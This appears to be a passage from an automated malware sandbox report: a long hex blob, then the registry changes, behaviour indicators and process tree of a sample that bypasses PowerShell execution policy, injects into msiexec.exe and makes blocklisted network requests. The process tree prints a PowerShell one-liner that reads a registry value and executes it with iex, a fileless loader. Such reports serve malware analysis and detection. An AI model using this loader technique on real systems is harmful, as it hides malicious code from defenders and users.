7c37301c4779364653907cbf76405a2bb8efc6e784f440e5800d12227e5bdfb635aa2e21826f2aadb13f69c145c825dfd5a739ee21f4dade418868fdef2077eca3cc13a0f77b277e4428b68fe3fc9874edd8ecd8474329aaed662df5e0c5637d299f54f45f4fc27ea7652a0473112c6b1b3001f08d5763dc359e3abb04c035343b30da3836e1c6798440ed4d7cf83a49ca2212296dac1448bcf9b410d1fce398aa0661ee8aa5a36adf0aa4eee84c9dc7cdc677b8f557ca5119c8f096d9c64aa5d23e6d6c5c4aa6fe2bd8eee6907ac8fc303487e4f41b5a3d9605b609028f88b22038e615aba956e004d1207e891a2109d51641fcfee1062aceba3babea176a6acce04b384198af39eb894f8db4e8beaa8ffd6bb30e86c850e2a9a3531b2d4165cad59bd9df9834f96451469335c9742de79ce48b0cccff1b80bc2ea808cad1d1f853d72677a501f113ec84373d64d905cf39c5629f09de36da18dc277fa3ecea1019c50cb4210821c8edbaa8cb971deacbf1129af3b63227849165a23740104491887f9b2bd85a44df8236fd94a8144051f55354a93c71777d725c7735bd2d1a7ec886d3db6af49933b67dde743062f42a58bab00c8296d6b275244196602fd7c9126e2bcbcb49446ba924002e4c59648335b371c07b5ed803c1407e4971a952174fc145e2f264165485352d644fb3d63b89928b390033bd0248485fa01db37f7bcd93eb52f0a9568451866a287e29d82367c56a07a06a63862973ce19f86cfc11c09c4ffdaebfee3abf7f7bb7e57590b75935d3a37c1e05918e0589df1d217865e6ff6c06d888ea092083c34ff209799fcf95df534689dde87da4636e216315ba52437f9e1091a1154f476b4ffa142cf57f436c854860542448a11192f82ce519b6936671c7bbd38c6fd81ba0747663b15fe50a35a77c77294c351282c17f37a0bc87a005c037562936b8302a7db508e5072394dbb9b34de9b1f76421b03e139fffe6cc88565c2c9b8b33edaa8fbb56411301a0d20c830a76239a23325c993da53be02d7b9b0f75b99f37f4946d39c49a48c66e2942d9ff3d234a36dc18596719041a7cd9c623c9d78c1fdc43d3e7b4e59f706bd1b4f8ba1d66fa038fd023b462aa1ee238fe9dc56e89c2bf1f0e0c0df9b3fb4c62fcd8ebe4103752fb03d98b0db549ea6827212eb524cf442d1de9df60ddb64ff67fcce321a0314b796196d33d9ed6b244fe17c44d0aa9bfa4237c7b491aa09f6c47c9b0d02e7dbba4b12605c984a02d38c89718e360bf257ade50dd91e5e9e49fac24e23eadf48f3bd4b8efc74eb3b594c8297d20fc346a5c17b48c21104398edfe4c79e295826bbbf9955be1c9ecb5a0d702c9ec72ea320555a2527c4ee0298e9860777f3abf4e33faebb04b2241e18685138f2994f4e56831f7d08096a6e0c55d6e2b21321ddd861ebcf1ebd97f2a5bbdc82d756d0c0ac7d6b97ce734bf0c96f9ad2a53d26b547e0ada8566496a8f5cdafa580ba92840212ede6f97ac6914992f9a595e643218411d9c4c3ecadccccaf2d311f42a3e6050fb000e5f13f7917e4761620a5e62fa45ea187f79058155ce086a4657eebf41f14d8f5dc2ef6598fd86241beac8f196136c39f4fc864ba085b00458ed834988a0eb6ae6b695128ee116a8972cc12428ed99b7e2ba0740d9dce95cd29e7699c523ae8ebe99a1086a72c9ba75d1ee91f90fd8d9d4d09735472772db4c7001919088a96409d20348731bee5801c9835cbbab9cd90f0e9abcf70ccd8ea34b96d549d07891130b6dc4fc2bdb40a16204808c670d668c22e6408f4d00481e94f2a9c69b8c1a944181574ca77b8c1fe5b3ace64345b45931646f8cc8ffc4f18576fa1a0ed2085046ef6180e04f033bd3b8bf46bdb9be77c44226f72022313b49b37ff936f13c25d8977ef9dfeb057dccdeda27632b70807d1aed160a774f2e773e0c417260624c8714fba90be295d851c3ba97fbe40ac50736494832bd962e3dab69984fd985c0111e2d3e3cbbbd36f22b6ef874d4f40e1f976631f697aa559fc022e090c222096a5133d4988af90b6958119d6a08f7fa2e12432b8a7ee1b7ae21cc4ed54ae94711708ccfb37ca0889868e30d3257d9d952537839406913384cb2735a0b13906ee68fd2a97f7d3b80655d47155fc2e930f46b28e6ae5d76c314f01bfc785f71be82b85fbe85f2eb7339bc550fb8a0f9622890c726ef569458602b9a8ad3ece84df215b172122d1577b7ee7ee34975da4e0dc9546ba432d3919f81c0ad72590746d466d1668332374da581347e5eb57a3d3add34d71eaea293ba45e75264c5580b6e6313af0be191dc3bdeed66f4eba7ce79fd4fe7ab4cd8a9a7489b5ed6ec9c3a41e1908f8daeaccecf1c1a929f98e33602c65a3739d60ed91e706974bab371a72f36515d873fa5b7a07065f3ac78f1f744792e3af2b0ab7e40b7e9e14a920d575cddedf99951958754b38dbe6072e5d23bc52f0cfcd9fb4be63762003f0725bd4c000f4497c9dbae57b40c9eb6c49662cdfd6f85973b6930a8be54e806d52fedb1aa55fe546de27593b11f23bc012d47d53f2e24db2fcd2eddaf5ba4e15b7b65c9e9251d20539278ac87211220a92665d1006319cc3d14e834a274da82e704049ec0dc661380198fdc1b0cbed7e29e4cfcf3c863ac461d3edec664c84a31e43598955f73cad6298fbd5e36fb7b05af3d7d16f905abb97e4b6173f30351af289a26e186a1ca6d0d17f7de4149f7cd7076d71a0ab3999eff9f305df4c6ca255827f618c8b3c0911c2d7c34151fcd0c87c1e93f4d341c74053b7109d10b4f88bdb05efa2a0cb1e5f918fcfa13cbe0905d44c3aaadd89957cef6744e55d5ab26feef430fa279206fb9380eefbce461bf0cefa4e500dd66e3ad2e2bebba173cfc3464ae2f8be6b522fce10ffbfd975adf26ff5f12c899bffcd147d1142f92804e40d0b148fdbc7bccf242a107ac2c18280c5ad5054969a4508d4814e0be043d30681b893652c0162b4c53fcc0cdaef235ade0c54c5420c5898dacfdccc6ead38b9f649397e278ade18564d7ef769657ae23440b1851d8978b20e2c58e76dee415843096344ecc06ef86ff4d5461bbcb309bdda55f364e4f81896da1e31064466d691d482bc711bc4ee40744d52519ef1707a63417694b0b66e27d6adae1fe7e557b6c5b7e6cf65913e55c592993090d58f231cc71f7ada37f32d6d85ec063b5aed5daf619a594eb6118a2592bb80c009a4b7d043438bc99550e80ac1987d659ca3f71e73c52b1fa0850c3a4fe663a2f0db011cddeaaa59c1a0b25e13fd45b4079661554ba03e52bb9e85a19c2ba137b2e540aa85c327e63be39e12b1f04e17bcacdeb49ec9fa303af69eff33535bd3c05fb1ddea5773b475e15dbe763f739302ebda20a082430c07585f2e859deb7461eb3299cc84d294821748a8e5ee8005b1c7e3b06d011bf2f8394a21db675fad73479ce01e03c37a3d5ace246f1438cbc6baf5f76187cba82b0880e4f17ee8017b5eea377afcfb2d209c86a3731d927fdfca0baa60413a44216ee8045649922b92485a496b9e4216b23916b0d8cedb8e35bdbd6943cb60e57f310d25500f7e0bd961b1a79112da767d89d64f7cbb30768b87f31f092f5be033addc09ce2e204583ef28411859347fc0ab50a9af54982f7ca548446650fda58cfbb4f0cb1148897edff46cae1f446eba905f9806da652b1b6652cf5234b8d439a11cd3ba0e71f0e6412d5a0804a34977e2e601ea6a42d55b86aa67a6e47c6c672c5868fa9cbf21fc5c3c2e40f913ff1e9a8accec9d090e391e778bc73de9d1be9061ea363fd28c141e60a98ad5071d5a184579ff2428874a9deaf2b89518d16f4b74783fae9b163c1451f721de9dad1ed081690e5a60b2b8d82c269067292df8deda9f8f21ceb9fde846468a42d2996e432c423dc5b8c7d7941f4be4555429fed649081403f2b3312c96aeafd6836f3d9aa8a81829e7139b12bdf4159998d3b8de7dabe80fd6f04b7a225917a5a59a6bbdd3dab9180f134080703ef4a441237f92068a83129d38053e5fed3e066fd61fd17cce7bcec2b477cd2ccf85618032f9a87dfedb52a8ced73ef21e01fbe2d6fbcce3139ddb82a9b9899f0c64c47b2b256c131360cf2ca8def53534c4dae9010b27ca9f8e42b519c93403f7826ebc11b1e82b2d5a1599663da8f0b40726c8baabbee7ab87eec744df2ad1715c844f3026138b2dd0adc8703bee54d0ca6f0fb3de4da1af690d58ea9a6e77e24f418f60289955b3e67389afc6ecec1b19725581e0f0707b6c7595390c467d42b3725236f69b35c41c15812400c351a6f8fe971ce22abae08b4708ab9e87f59531abe7839a03bbfd01c4ccd198974fd247c2cdc7e3ff06ac93139a6fbed8d06c7a4bbc76b3fc537a210618f5e299bb351634c784d4471bbb8fd065abd4ce82d2b35b059cf11dd76883085c768e6ce3fc62496994bcaa92ec7562cee0e09edc55e02323d729968b07d683975826edf0db634c8984d220089b5cce040deec789b0ef4501c0deca993643057826ce5236bb5ed736dc3ac00cd249953004f54783b07938d3bd94afb34aa6152ddb6f899bbe3c746291761de761b90b2067dca906da0d4cb143c8a3c9560744d0ca93abc4b29669de973ed6730a654291477f1389971a22d7d426ecc73e575056df257e8f59b1e2fbb17d87832b47a6224ef7b45c1dc8f7c9a5e1d9e08393cf3b217728acf8db13628bb86a5b56384c1265599e3d4cc36591ca6952fdda8f7b709231c7098f48e1f07891c7e43d58657fd99f089c2dfaba638e654f040373db5e15cd00726b4e5bed6c3824edf1cb0a64e6bca367fc949addafbdf422296cce4ca2400017cd434a6a3505224341456b6a41be76a11ed6708b822575500bafa36c5902024c19971371825eebad467d91eca456b61128117ce846c63b5665225438fa034c828fa3c55c300c667c28484fc4abb1e37cfa23077d557554ad07a2bb66b8d24cc8ba634be94af1ee5f3d78c44941f34d2e7b45892f477ef4d46929df90c888c01bb1fb01443467a8fa83360a915b96bae75a0bff1bf3adaa8943c56b77cf1fed3b1399ae9da9abe9fdca4362db172901a20e7b212a4aba892955b59a2dbb18a69ff57974c51987092dc168e9c4923050e13c8643d3e722b4ffcb2099fe440cb841d7ef64c65301b5ea55d6037d472871c58afa60871151cc5f06e62f2752fc435581020eeb0e3cb47bdb3709025c50b5272ac4594e9b938c2a6cd78443992e9c02d475365204dc5aa503321b82f2559bd106d232c9a8eb7f6d702a170b3ed1c9f08a35496573e274fd6013e7cb1411a4196c89da6df51a99d9ca6c61e08bdc531f2dadddd05946edb63cf8a8cab1b366278b9da85b543b901d6a4064b8788fb698f55de3675f89f1d5662aa5707828f5168ef3f8bc3f2627e3d15e804dd02c4d09f77c549098f16eddff68ed83aa4e85e100c28cc3cf9c72870d53493c14ec207fd4be79602c18d78fe162ec7aa19dceba537ed66ae2cc5432ea34fc6888e9d6abe05255a91240899162f9aad2b5d94f6e8ab2500d21aae746543c8a8e76a928e1fc1833d30d1e92592a29583ddce8e8ad1d6f434767b13f534c2551c722f2c2d95f2451f90ba391a0eddf158fd98b011053271037d1b8cd178733ca42e1bec171de13812d6f6989f34691f75b205deac88092806699cf7ad120632641819d15effa5f98214c8a59ad40eed02423589a5fe18a1b243237ac3dc7d612b61bf78237434a499fed5baedbe2b659f155740520eabb843d08559aa9f0ca9d07b93031dfa990930357f8169b0d175e9b636eb6ab52a921b0334e524ff2c732530b65a6850dfae82b4ed80cf12712cecc59866bc2672c05663a5319c1acb50759e1d60f8d98afd64fa71368ee8be5680dc47ce0e88a21edaf2b5645162fa5c6dbb903c9ea1cf45967294e71aa69dfc240c13f3d1036f0539100702fbd1c2f000ece42e2a262e72a4f91e91d83bbc67bf5d2aa38de450cdb11ff11b23459d55d0f0a172bd90310b6cff1dd3c2d8a08c0de278c0617095505e97cee8bf0c964d173aeb6b717ca5c4d94cc3c8239dd38b8904addaf631aabdba12b9b78fa91640d3055490bd3deea26af2987190609a9125337ef0a49b2459fe71e0c7229fc33ca33725f9301d69b8393f747f4a60d357670393d052378c1e65942401d7b44cf6bcbeb4d8531e14c80761976ed6f4f39433622027dfe39e85fa25c50a7890cc2a0f9d14889a693729cf1aee970f12bf8f4e9636dd4b3c51b51ba2dc8641f0f76e6b577306ae07a3cc4a89be8b88bd2f0e6db4d882208bab4fafc113a9e465cdb4cfe125cfb887a9fbb9ee495919960ad48d3177c15c7572bbba42f3ec82ffcf7f9d75d84ec22b03d83985519db871a3a23c968096f5b6f09b2b425022228055b20d3593d0fa218439a7dcec4973a7390c0bab64f94143587617fb33a6ebb7b09f063260813d9686d641e0b768e631934db444c1177114354e72a629340d31e37278c1bff32f754c8e3254a6532116b07289ce5b4083e2e9cc595b7c93551080aab9d88636c164d9fe9e72b3c35e41ffcfb97fe09ce780c51c104cd2b829e28aba24312542b7f010bdf70ed72eba0b389d929a051009f30cd1559527a83de064a3fad76c5161ffd242238cbd50e57512ded88eb0389a453c797c4b9c7637c6af9c42955d8c674e328d04649af55ef22853094ef951e8c9aaf0924a3d66a041d568a4063ecb1d58d84b3edaf941b4926e0a70d1afda159a01611a3a779535863b448e95487bc9d123ce9d61dee6813220c03ed2670f8820fb15e0915814c0ea618aed216ba4d26ae1b2f84eb557080187fd5b786161b1487ff3b67a17b6e7bc939d9fefc3276c8f3e1ea373eaea1dee0e6894923b1d944565657a92431f307d37624aecaf704b124e07e5488058007e06b91c7273eee9fcd17a1f39da99ac803e1740e669e4e5ba26485d5e0a8875d85a22863522800fc4184c7fdb50328865bf5de109c0c27cd221f18e8b08d636872338cfa355e941d8d69fcdbfa08f1aace1ef33a915cf734b4378700c74386db226426ba7b4d3eef3562558d23045cbaeb58a5f2833ee7a3d0857b50411c1780681a3523d4640c8876c87f026824516dab6c9f4f8b8745fd7512780525f0f44c2f6d2e652712c30b04fd08cc7b5067e577eb21b2c6ca9272f2a569264733f50a8d05cf3fb30f5d2414543663a78d8a1c94da53da58731423c37d5619d31262521128a4e60480f56c612f31933d10852527ca40985b223267086e236bf8e72672fe400d75c55bbdcc91db43e8c5d6ad55a78ef8bbe590b3107834e737e3ad4fb8d6c732a9a4eff2e42fd98e08cab493d9db948a2a3772f68eb74a81cc901a4711c8646bc604090cd3b8ea438a56e72a775516b8154ac598c0d6b10504b92ba92192d5370b537f2084c72436b190c8535d50885e9359cce15926a7314729ddeb0532bc251244e936655377848a073107fba36bf8fda8f281cc3c7505d7b21478120e13bfdf6786a1ad57955e2b21e3ccb76b96ec359da73378297e952d79fe15c7f32af5c346ba17488283ede97a707d01b60314e33c2eb4451964ebad6fac147ccfdce0bf7ec262be19caa6039f3816d0034dfedf2b89ae7645c3f32ef51b328921769258bf68b02ef4c25f74e284bf485417b5dec7fdc5168911bc6533a6591b2f41badc8b5eaad19abe598fadb74f6120ca71a231ecdf523b0484d6f99e8f149bf62c5427fa907288c03f6c1aee2c336cbb3cf6663bb51a6ae621e74b1648ae1aab3569bf51b8d4f66e7b352159b73fc663f6308a0bf4b9b72ba28646f1bb1493c52d59178a986d0155ca1fc7bfdfd7e0bc27d8c95372fe6e6e0e092852e0198891a7ea34e95c404013e8136e38ab137568e4b7ac435d4cf53d8e15b158eb843eb5221b01bfe18455ea19b80d8697b0ad1b63ab35afd2fe6a64aaa3445cf28e4803964d24e80ac72ede4375a1bc1c0357d55d42accf9b9c8bcca0fcad41fc2fd8a3f9f130867e24ec9ad86ac69427490d858e1ac6333e2ad7c132341386ae680e9f1b41176e1b4c53fa0d2e177fb1b2cb1f558e49cf83ad086d065ead8284a504b6674f15f47f39fc6e0ac34c994a8b23192466abce2f8fe5bb3da788998cd9ce9085380b012b7a4712e5407cc1c9490f4c6ecd3944916c7fc1b0534718d500051b353a9d910ccd7a7162325103c44e8df145882b5820f8244475df74307bf58cf464ff15cf7900507580dd20bf6df2294050efb54d5af8fa3690a419491189f967738a5608168fbeb4a237f32531b86732f4f09cbb61444a7c00da20e5845d6f8f9ed11b76983709cba7c0f659ace425862caaa7cf62af12f20a49bf636058c49700bbdfa0f288e5fe5d7ede29ec1bb2c6b3d723c71c34812545d50dd0dd2e29e8bf40f0fb7c89a4c2dc87e0a08c522af10400118bcdc9e2c6af03c92c238cd6d40fdf4d51ac68d92e3f603030c117eccf895dfa35a698c530b2c288175697f39186809822aae53f35b09cffa646c229357c59ee62e172a746eb0ce4f9822e19cdc4c48fa355b3a2c84cbdf8471e11b50f8a4a727ec8a4177ea380d8c725fd523d61a1679b6d385728098b5abcfae51a6fd92ba4123e4d515b4b64e47f892ae43780f3a8ce2185cf8762d90730edfe483106f0503443f4c79f693398853c8e052fee341c12a44f6c6d86899909e073eb12e34d40b496708e216bf3015168f619763861b42191255ff732ab11744937e67c58d0fdcaf62da07896457a898f353211c7b6f93ac53113813928f0657faef04d3bffb936f1fb4f4aef16dde2b78d83596a5ddfb9aa0eacd8e6b21c0a2f2eda0c7dfe99e6c967a08ed7222642465b1338eb9c8c7e96be062eaac19fc53af98e302ea22dc0d4e72613aa9b228f76f038a63c6911b647779d85560b2f8344c1826832f8cf0dfb1d1eb5be22cab7a49b66774e46c08c1c747b7c1b9cbd0fbca07b5823bd3a07b8c46a8988dee1e2355f2c7f801a86cd4efd359e0d0dbb775237fd990415af8b8ef2870945e5b509efb2944ef52a040fe39b2bc971c5d1c71fdd6456d15575a929068af191df0fa2704c1169981f2af8249d20b374f044bf11b9aea60cecb8c98b7e7642f3b81f964fcccf98eb2eb3efe20ef573c821f95c5ebdb38e12a8b47ea25b2778e2c3ec7a1f1cd601edf873988ec4bd87167eb809fe840370d76c4abc660921b0f11903422f8a9fed9f998488a80589694eed2e64509a658e8a279ec8e512fb7fb29fbbd9373ed9b430fb8039529f001820dcccbca0ec4b2607ca2b86412ac6a7cb0e97f095036207074ff9f31c4b4e0c335f42779b754cb82939e3c05b8335f108afa4df2400a190009bb5578d8545c7b1f364eaf3d2ed8a5fb9a22a777d913601e2a0a59150d3b90ded8e21932d53d1723560cb564ce5eb660b5d9c2760273d74bbe3b996d96461fa2a3328bf0c715505623a7d33bedf8f5b42fd7a82f9b6dccd729797581c36288f544d86e6ecbdf9554cd200f8a707643dacd2a9f3c2c0c2f100360a522000141a21f31006de99b4ea2a46238156802d2df174324f794539e7ad2e205af59536575162b82631659f7f2385ec2010d0303d1a5c19be357c417e86f7774b8c9f324286a008c3580f97a1f00d9af34e6f9a9e0566697483867dba50e092880817bfe3b72fb41a9cf2fe8fcd55e8ef766f0b3ebc7d9f701faa9e758ac2bba1ae20a1e4d3c060b70510254f394e2576bb08624800259a20a08f32f1711c2f6b36eb81a18358395453a5bbabb8aab92158a84804e6fc3912689e0e62c5c8a4d8a09eeeed10426d41ef16b228b842caf8deaae3f3bba93b9bcb8ca39b23836c8c30429261e97eee6bb6d3aeee1230d64e53648e18140c9a76cd02c995da2cfa6ec73320618ff5bc88c3f3ef90cf73383217c5b38ca6f209f1805baf9ee7e260d7775f6cae048b7ba0ce0e3ca3c3f471d9b9abd053fb65a04bb454f9f82b54290ba423a519a9eab6980b7e1d16f0bfd6b48329c4a47ff028d01cd958cc370d24367095bb10b231ec107d7dad41a6dcbb07d5c3bd4c904478c5de7678c9653fd650ef4db648334c6f357898e13eaa10e2c7290a33ae08ca2c276cdc353f6755fbc47bc50ba104b8bfe91469a7650d1b9839a984e59a755ef268ba8269284f3010e46014de740ffd573ac89a709aa36acfd73e8130976ec22ac97560f5ec059533ae0ab134e85406148950901636ad8141ca8826a53cb48f025fb53e73bf1f4dc05a54ba498f621e446c46946ecd1ad042fae1edfd8b1a7ca5888037cd11931ec0103bbad7fcc6146310e8f6857d0eb85f526cd0818706e288093553a90801dd54f24890e47d52c8634545aaa3bd2d3d1738ed7131c53676a726a53b5532f7cd7b923da322011de79ad83237cff630358382dbe349c3f54a3cb973f817e15e399c463ee7303d538390a06ba1438d3097f0acaab9169ace4ce06c36fcf927de6d69dd7aa8eaba49bf7289539ae52daa71cf1f6a800cd8133135854e3336fe0cd906d834323cbe1471669149ffa0e40277f39a69025dd761d529b9088c71bf7154d0e8ee0dd77dfa71ba72e23140d8be39ba68b6a913464757a0abdf685203fb4fb91e86c01e26b4a8961c3629aec453f2f3b4ec61c45772512e6b52d5da0c8a79d083d9db5fec2eb3c5034a0a16b37f71dcc27e3b413ba939d7d0e114a2b7a00f137cb6d7daf646eb5c4072817c8cb9a637ff92049d5d4b3d6801997e16befdb2737bd2ca43124207671fbada6cbaa0bf259162fb2971df01398bed54ba9acab2e82592e1b1ce3f0adb8ee31f5c97bcd4e9fb831fc8fab434047454134a320819801e529509d7b390f97abac976282c738addc435eaa44215186ba68b6efa1cee131c95deb738e3dbe2af1eeb6726e5c11843ec33149e8591b5bd74bb28856a86700d7f2affe28e4280dc68578c3d1ce095f5399556610da03496ac7a15de8f1d428cf36ac0589b1e0202d9e32215cdef22854e225a50ca3f452fe457512efa55832a6baf3b5d604c592ecb7d94e060354bc284b3b9d0adcbb6ea0c266a788ccdd39d777acfdf7916e4e21fef118df5593970f75f38698282eca12f21e3cd60a4e0e90b27e0c07d2beeb6ceaef63206c24871b0f31395e8c1b2ba8a4e328c20496c47d4f260d4a5f0f81f1754497015126a5aa9fe8cebcc75c9b118e9e0d0012e4c310e3c71dd444fee3635394dbbcb1f8e75ac21c876e95449f7e92ee4a232eabf29c385752abe5a1ebdcfdc84a2278bde26a313c8989b8f14b7618b3ded595fac84fa03e3503d07ebbfd4a6bd66faceeaf8d7be9e1f1b820bdd6186531c809151da66fea470148af574061c84007a67008c446296d3b064f8d4f6fe187cf7145795df09a4a48611b7abee99d1cd0a6dc3dd451af99673228e7c1671ff691a877a57fa1399017a5e94e9b17117696fc83e52990adfeed6797f1f899019ee03c5f26bff59037a4ebd2c3528ecc177eddcc4d36318a70bb2351e2177721915b9d4cfbb8f5932d400e37af43e053b9539974d018f410de495b7d531cec439f3759e9eb8c3dbbd0a8816781a34ab3a09ae02cd5c71e92a4ed0ef705d4d1ff02f5ef3d9f44946db3510f8bfc4427b9800e073535f9b3a25b6e7a80fc6a745d25c524237f125e850509752943456a3ba969f8f26a46fa3ea1a35f67e03fa4b25a1fe277691ee512a63b2d9eeff1255a50427c615e3eacb6ade9918f732ad88b497dfe6820faa85275dfbe8d3b9a95419d8309810c3fc798f81a82bdadb99b1a9fe743a3148c05d46743077295621c52064b40e680592b0f8e2faa93aa2d2927946c9b5be85061ec91a01fa40cc49610bfc485cecb3f5ecb0a7086c3b7e600c6872f866c2ea5a31e9161369300f5119ccdbb26739bc177d137d634fb79989c0dbdd5cda20c5d7a3af6ab9037eab359b961e66e9eb08d8dac9652555f6c84a20d35b0fe4dc77efa5c2ea683466b6c1c1698746711b7632b27c8c7dc27e017ba80f56d0174bb8aecc8ec8f922d15b137fed959a6e7462132002c9aa9432bad274193b2687b5bc57382f075c027f479785c02914ea9039491f350f23ad925234cae4e395adc69bba1aafe2b221121cdb10c094c08ce0eb21be0bfbb9e379d5cb1b326333307f9ff6b3b290a1913570e07ea4d4188da9edf3a588c8e53bcb24d2b04b8d9444d090e3566ef27ae2e3de6aa417ad25cc746fed8aff192af18f6ccbfab08b6e720f30c28e54980cd77eed45a95577d67c8ebd49d03801d5d3605830dd986ba9dcb862046a7ba625241bee46447d49f8b0a5cb593791a5919a00c4ca51b51b3ad78d7bcc39450f6478fd21d5f4a4e7828eb6879dbdb0fc2b3b00df5d10219813ac666444ae463d14b02bb6a851b35110ac7e73eab01f35e04d4c8a79dae7dc2c4db0e5bdafae2f7a63d3bdf5edf7f30d33a4e0c106751c65a33b6bb8faf0aae6b31200596c4af6c1cfb7481d36aa8d5c5c4aa073a8eabb6f28d90287242d6fe109967745c7dc3825558a56c721748dc8711612267c4c4de3587da5f17a7455bdaf88f8ca75d825e6cea760b32c2e269dc04007542180ad801d5d2b4a54c034412a40cad908c0529dc5d60453515e983ea5051b9c5114131ef1524b92a9ba880723d847d8da864a5015796b53cd4d3860a2859caa9bc84914bb5a797fe689bfb2964b7892f9606d51f347612ebeee079165f2108a3bdba393b06ce633b7c5d845e720c33bb619ab88beffcdc03bead55a752c703237ab8d76baf54ed179c70df54f92cf9abd5c857c5726eb55f03939e0898e13c2ec3447ea6014705a98ff7ef56d7a163f8b19ddd80ae8f770341f05fcfde483b34f995337dd8f787687c3accbd9da972f541652069269db4c1203d2a128b0510b9bc0f02146235ca883c6c6a951be894e1f4dfb850304de932b2969134a1ca551eed52e0ad1b2a1ef0a4f8a469bfcbbc3c4c1c4a52675a218e6d91cf5788b4a1b5c2cda22084c884f29be49ec22531ab1d611e1ad8431be1244682d621ac88f11597c24b90009e891fe1f1a9e12b5d45f05455cad6e59bec5e9431039b56ddffb416c5ef6ccdb54ec0f791b5035ec39cf9604721ff56b9c09ee53d94b6e091d931e37da31d04145cccee9e6fe816d51c1193192fbfc7bdc81f84629bd93a19ffb241623b62be432a535e681e1464fdf2ae63597e656ce36c090e397c2645f0ab7bcd6620f6263a15bd992c017d1f175d70b86c6aabbc0d6396270b359f94a1ca1e190a2b0e4a8884cc8335bc1f491e883d2ebe8ade2341f2ba11db91eb9bfb376116a71e25f89f9e21683b9800a14ebae19b994eb04c5786a70c147b1662a93baef5b1b473f1c8d285250bf1401efeabb2fba69b22ed7de6039fa3956d75935a2f4728249323c454b3677b411bfb2cb611db7c6b758c356229093b54d256b74eb6ced71c01ef904c702e6 powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F03070C-0406-050E-0011-130809010300}\VersionIndependentProgID\0F03 = 272c63693d304d263339422f21355a5b6c317c7e362b492a6f254b683876222d29666b4058553e7a4f773b3f416d72525478484a286e50714e5157674c5d43293c60455e7432705f2e64766e3774703463306f7a66356b79723638656c6839776a6d71316933677562322f765558794e535b5c3c60545d486670735e786c38594b337252343d6f416d634229772b44493f71624d6a3a7c5f43352e56643e2c7d2426284f572d6869373b406e7539744746227a513123452a614a367b5a21302750657e67254c326b powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\{030F0D10-0707-0404-0202-040507030601} powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\{030F0D10-0707-0404-0202-040507030601}\ = "{030F0D10-0707-0404-0202-040507030601}" powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0B0F0F00-0702-090E-0012-070D11040313}\TreatAs powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{0F03070C-0406-050E-0011-130809010300} powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{0F03070C-0406-050E-0011-130809010300}\VersionIndependentProgID powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F03070C-0406-050E-0011-130809010300}\ProgID\ = "{030F0D10-0707-0404-0202-040507030601}" powershell.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\ID = "0" msiexec.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
Processes:
powershell.exemsiexec.exepowershell.exepid process 3896 powershell.exe 3896 powershell.exe 3896 powershell.exe 3896 powershell.exe 1064 msiexec.exe 1064 msiexec.exe 2084 powershell.exe 2084 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid process 3896 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 3896 powershell.exe Token: SeDebugPrivilege 2084 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
powershell.exemsiexec.exedescription pid process target process PID 3896 wrote to memory of 1064 3896 powershell.exe msiexec.exe PID 3896 wrote to memory of 1064 3896 powershell.exe msiexec.exe PID 1064 wrote to memory of 2084 1064 msiexec.exe powershell.exe PID 1064 wrote to memory of 2084 1064 msiexec.exe powershell.exe
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\1204.ps11⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3896 -
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe2⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1064 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "&{$v1='3154';$k1='hkcu:\Software\Classes\CLSID';$p1=(gp $k1).$v1;rp $k1 $v1;set-itemproperty -pat $k1 -n $v1 -va (($p1|iex)|out-string);exit}"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2084
-
-